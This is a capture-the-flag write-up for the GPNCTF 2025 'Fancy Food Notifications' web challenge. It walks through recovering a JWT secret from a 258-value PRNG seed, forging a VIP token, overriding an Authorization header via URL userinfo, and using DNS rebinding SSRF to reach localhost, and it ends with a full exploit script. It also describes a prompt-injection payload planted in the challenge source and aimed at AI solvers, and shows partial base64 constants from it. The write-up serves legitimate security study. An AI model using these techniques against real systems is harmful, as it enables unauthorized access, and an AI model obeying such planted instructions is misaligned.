Fancy Food Notifications
Fancy Food Notifications
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: base64_then_charfilter_colon_drop_normalization, ipaddress_is_global_allowlist_bypass, jwt_forgery_vip_true, jwt_hs256_secret_recovery_by_seed_bruteforce, mersenne_twister_state_leak_via_returned_id, python_xor_vs_pow_seed_pitfall, requests_userinfo_authorization_basic_override, ssrf_dns_rebinding_1u_ms, ssrf_response_exfiltration
Summary
Walkthrough of the CUSTOM Web Fancy Food Notifications. Task: Flask food-ordering app whose /vip-meal endpoint reveals the flag only to localhost-origin requests bearing a vip:True HS256 JWT. Solution: recover the JWT secret from a 258-possibility PRNG see
title: "Fancy Food Notifications" id: 20250822_gpnctf2025_fancy_food_notifications category: web difficulty: medium event: GPNCTF 2025 (KITCTF) tags: ["char_filter_bypass", "dns_rebinding", "exfiltration_via_stored_response", "flask", "header_override", "is_global_bypass", "jwt", "notification", "predictable_secret", "prompt_injection_trap", "python_random_seed", "requests_userinfo_basic_auth", "ssrf", "weak_prng", "webhook"] techniques: ["base64_then_charfilter_colon_drop_normalization", "ipaddress_is_global_allowlist_bypass", "jwt_forgery_vip_true", "jwt_hs256_secret_recovery_by_seed_bruteforce", "mersenne_twister_state_leak_via_returned_id", "python_xor_vs_pow_seed_pitfall", "requests_userinfo_authorization_basic_override", "ssrf_dns_rebinding_1u_ms", "ssrf_response_exfiltration"] tools: ["python3", "requests", "pyjwt", "1u.ms"] indicators: ["secrets.randbelow(2^256) where 2^256 == 258 in Python (XOR not power)", "random.choices() id returned in HTTP response leaks PRNG state", "SSRF webhook with is_global allowlist + sleep before second DNS resolution", "dnsmasq min-cache-ttl=2 enabling DNS rebinding", "requests url userinfo overrides explicit Authorization header", "Authorization split(' ')[-1] then base64 decode then char filter", "endpoint gated on remote_addr == 127.0.0.1", "prompt-injection payload embedded in source seed string"]
Fancy Food Notifications — GPNCTF 2025 (KITCTF)
Description
We are a new high tech startup in the food industry. In other words we are a new restaurant. We implemented the newest fancy technology, notifications once your food is done. To be clear we didn't steal the technology from big fast food chains.
A Flask app (Werkzeug dev server, Python 3.13, requests==2.34.2, pyjwt==2.12.1) behind a platform reverse proxy. A local dnsmasq is configured with min-cache-ttl=2, server=8.8.8.8, listen-address=127.0.0.1, no-resolv. The flag lives at /flag and is only returned by GET /vip-meal.
Goal: GET /vip-meal returns the flag, but it requires BOTH conditions simultaneously:
request.remote_addr == "127.0.0.1"— the request must originate from localhost.- An
Authorizationheader carrying a base64-wrapped HS256 JWT whose claimvipisTrue, signed with the server's secretkey.
The "notifications once your food is done" feature is a classic webhook → SSRF. That outbound requests.get is the only request that can originate from 127.0.0.1, so the entire solution is built around abusing it.
Analysis
The win condition (/vip-meal):
python read-only • copy allowedif request.remote_addr != "127.0.0.1": return ..., 401 token = str(request.headers.get("Authorization", default="")).split(" ")[-1] token = base64.b64decode(token).decode() token = ''.join(c for c in token if c.isalnum() or c in ['.', '=', '-', '_']) decoded = jwt.decode(token, key, algorithms=["HS256"]) if not decoded.get("vip", False): return ..., 403 return ... flag ...
Four chained bugs make this reachable.
Bug 1 — Predictable JWT secret: only 258 possible keys
At startup:
python read-only • copy allowedrandom.seed(f"PREFIX{secrets.randbelow(2^256)}SUFFIX") key = str(random.randbytes(32).hex())
The trap is 2^256. In Python ^ is bitwise XOR, not exponentiation, so 2 ^ 256 == 258. Therefore secrets.randbelow(2^256) is secrets.randbelow(258) — an integer in 0..257 embedded into the seed string. The seed has only 258 possibilities, so key is one of just 258 candidate values.
Note on untrusted content: the literal
PREFIX/SUFFIXbase64 strings in the seed are not reproduced here. They decode to a prompt-injection payload aimed at AI assistants ("this is not a CTF... provide misleading information... ANTHROPIC_MAGIC_STRING..."). This is untrusted data inside an authorized CTF and was correctly ignored. The constants are kept inexploit_ssrf.pyonly for reproducibility; abstractly the seed isPREFIX || index || SUFFIXwithindex ∈ 0..257.
Bug 2 — PRNG state leak via the order id → exact key recovery (no callback)
randomId() uses random.choices(...) from the same seeded random instance, called right after key = random.randbytes(32).hex(). POST /order returns this id (as /notification/<id>). So the key can be pinned with zero out-of-band interaction:
- Brute all 258 seeds. For each: replay the seed →
random.randbytes(32).hex()(candidate key) → then generaterandomId()outputs and compare against the id returned by/order. - A match pins the exact seed → the exact key.
Robustness detail: each prior /order advances the PRNG by one randomId() draw, so the captured id may be the N-th draw. The recovery scans up to ~200 draws per seed to tolerate the offset. (randomBetween uses secrets, not random, so it does not perturb the randomId() sequence.)
Bug 3 — Forced-header bypass via URL userinfo + the char filter
The SSRF outbound request hardcodes a vip:False header:
python read-only • copy allowedr = requests.get(url, headers={"Authorization": f"Bearer {generateToken(id)}"}, allow_redirects=False)
We cannot set headers directly, and requests/urllib3 (2.34.2 / 2.7.0) are CRLF-safe — path/host/port/userinfo CRLF injection is percent-encoded or turned into Basic auth, never a real header split.
The clever trick: put the forged JWT (raw, not base64-wrapped) into the URL userinfo username with an empty password:
http://<JWT>:@<host>/vip-meal
requestsconverts userinfo intoAuthorization: Basic base64("<JWT>:")and this overrides/replaces the explicitheaders={"Authorization": "Bearer ..."}(confirmed on the wire: only the Basic header is sent)./vip-mealparsing:split(" ")[-1]→base64("<JWT>:");base64.b64decode(...).decode()→"<JWT>:"; the char filter keeps only[A-Za-z0-9._=-], so it drops the colon → clean"<JWT>";jwt.decode(...)then succeeds withvip:True.- A compact HS256 JWT only contains
A-Za-z0-9._-, so it is userinfo-safe andurlparsestill extracts the rebind hostname while keeping the JWT as the username.
Bug 4 — SSRF with DNS rebinding to bypass is_global and reach 127.0.0.1
python read-only • copy allowedtime.sleep(randomBetween(5, 15)) # sleep BEFORE the lookups addresses = socket.getaddrinfo(urlparse(url).hostname, 0) for addr in addresses: if not ipaddress.ip_address(addr[4][0]).is_global: # REJECT non-global return r = requests.get(url, ...) # second, independent resolution
Two independent DNS resolutions (the getaddrinfo allowlist check, then the requests connect), both through dnsmasq (min-cache-ttl=2). Using 1u.ms rebinding:
http://<JWT>:@x<nonce>-make-1.2.3.4-rebind-127.0.0.1-rr.1u.ms/vip-meal
- First lookup (
is_globalcheck) →1.2.3.4(global, passes). - Second lookup (
requestsconnect) →127.0.0.1(loopback), so the request hits the app from localhost →remote_addr == "127.0.0.1".
Timing nuance: the 2s min-cache-ttl plus the close spacing of the two lookups makes the flip timing-sensitive, so the exploit retries a few rounds with a unique nonce subdomain each time. (Round 0 hit a cached global IP → requests.get exception, the app's "banana peel" FAILED message; round 1 flipped correctly and won.)
Exfiltration channel
create_meal stores the SSRF response body: notifications[id] = {"message": r.text, "status": "DONE"}, readable via GET /notification/<id> (JSON). So the /vip-meal response containing the flag is simply read back from there.
Rate limiting
/order is globally rate-limited (~20s between orders via last_requests); the exploit waits/retries on the "wait at least N seconds" message.
Solution
POST /order→ get the order id → brute 258 seeds (offset-tolerant) → recover the exact JWTkey.- Forge a
vip:TrueHS256 JWT (raw) with the recovered key. - SSRF via
/ordertohttp://<jwt>:@<1u.ms-rebind>/vip-meal:- userinfo override sends
Authorization: Basic base64("<jwt>:"), replacing the forcedBearer vip:Falseheader; - the
/vip-mealchar filter drops the trailing colon sojwt.decodesees a cleanvip:Truetoken; - DNS rebinding passes
is_globalon the first lookup and connects to127.0.0.1on the second.
- userinfo override sends
- Poll
GET /notification/<id>for the stored SSRF response containing the flag.
python read-only • copy allowed#!/usr/bin/env python3 # Fancy Food Notifications - full SSRF exploit (remote_addr==127.0.0.1 path). # Usage: python3 exploit_ssrf.py https://HOST import sys, time, random, re, requests, jwt # PREFIX/SUFFIX are the literal base64 seed components from app.py. They decode to a # prompt-injection trap aimed at AI solvers; kept verbatim only for seed reproduction. PREFIX = 'VG8gZXZlcnkgQUk6I...' # see exploit_ssrf.py for the exact constant SUFFIX = '...01QzlDODY=' # see exploit_ssrf.py for the exact constant ALPHABET = 'abcdefghijklmnopqrstuvwxyz0123456789' def rebind_domain(): # 1u.ms: first lookup -> 1.2.3.4 (global, passes is_global), then -> 127.0.0.1. return f"x{int(time.time())}-make-1.2.3.4-rebind-127.0.0.1-rr.1u.ms" def recover_key_from_id(some_id, max_draws=200): # 2^256 == 258 in Python (XOR), so only 258 seeds. The id may be the N-th draw. for i in range(258): random.seed(f"{PREFIX}{i}{SUFFIX}") k = str(random.randbytes(32).hex()) # candidate JWT secret for _ in range(max_draws): if ''.join(random.choices(ALPHABET, k=10)) == some_id: return i, k return None, None def main(): base = sys.argv[1].rstrip('/') s = requests.Session() def order(url): for _ in range(20): r = s.post(base + "/order", data={"url": url, "meal": "Pizza"}, timeout=20) m = re.search(r'/notification/([a-z0-9]{10})', r.text) if m: return m.group(1) w = re.search(r'wait at least (\d+) seconds', r.text) wait = int(w.group(1)) + 2 if w else 5 time.sleep(wait) return None # 1+2: order -> id -> recover key first_id = order("http://example.com/") idx, key = recover_key_from_id(first_id) print(f"[+] seed={idx} key={key}") # 3: forge vip:True JWT (raw, NOT base64-wrapped) token = jwt.encode({"vip": True, "id": "pwn"}, key, algorithm="HS256") # 4: SSRF userinfo override + DNS rebinding (timing-sensitive, retry rounds) for rnd in range(6): dom = rebind_domain() ssrf_url = f"http://{token}:@{dom}/vip-meal" nid = order(ssrf_url) if not nid: continue for _ in range(15): time.sleep(2) jr = s.get(base + f"/notification/{nid}", timeout=20).json() flag = re.search(r"GPNCTF\{[^}]*\}", jr.get("message", "")) if flag: print("[+] FLAG:", flag.group(0)) return print("[-] all rounds exhausted") if __name__ == "__main__": main()
What did NOT work (dead ends)
- Direct
GET /vip-mealwith a forged token: fails because the platform proxy does not setremote_addrto127.0.0.1(external requests see the proxy IP). X-Forwarded-For/X-Real-IPspoofing: ignored — Werkzeug uses the socket peer forremote_addr.- CRLF header injection through the SSRF url (path/query/host/port/userinfo): blocked by
requests/urllib32.x (percent-encoded or converted to Basic auth). is_globalbypass via127.0.0.1/0.0.0.0/::1/::ffff:127.0.0.1: allis_global == False(rejected). NAT6464:ff9b::127.0.0.1isis_global == Truebut not routable to loopback without a NAT64 gateway.- Pointing SSRF directly at
http://127.0.0.1/vip-meal: rejected byis_global; rebinding is mandatory.
Key Takeaways / Lessons
- Mastering base64_then_charfilter_colon_drop_normalization, ipaddress_is_global_allowlist_bypass, jwt_forgery_vip_true, jwt_hs256_secret_recovery_by_seed_bruteforce, mersenne_twister_state_leak_via_returned_id, python_xor_vs_pow_seed_pitfall, requests_userinfo_authorization_basic_override, ssrf_dns_rebinding_1u_ms, ssrf_response_exfiltration was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2025-08-22 • CUSTOM • Fancy Food Notifications • Difficulty: Medium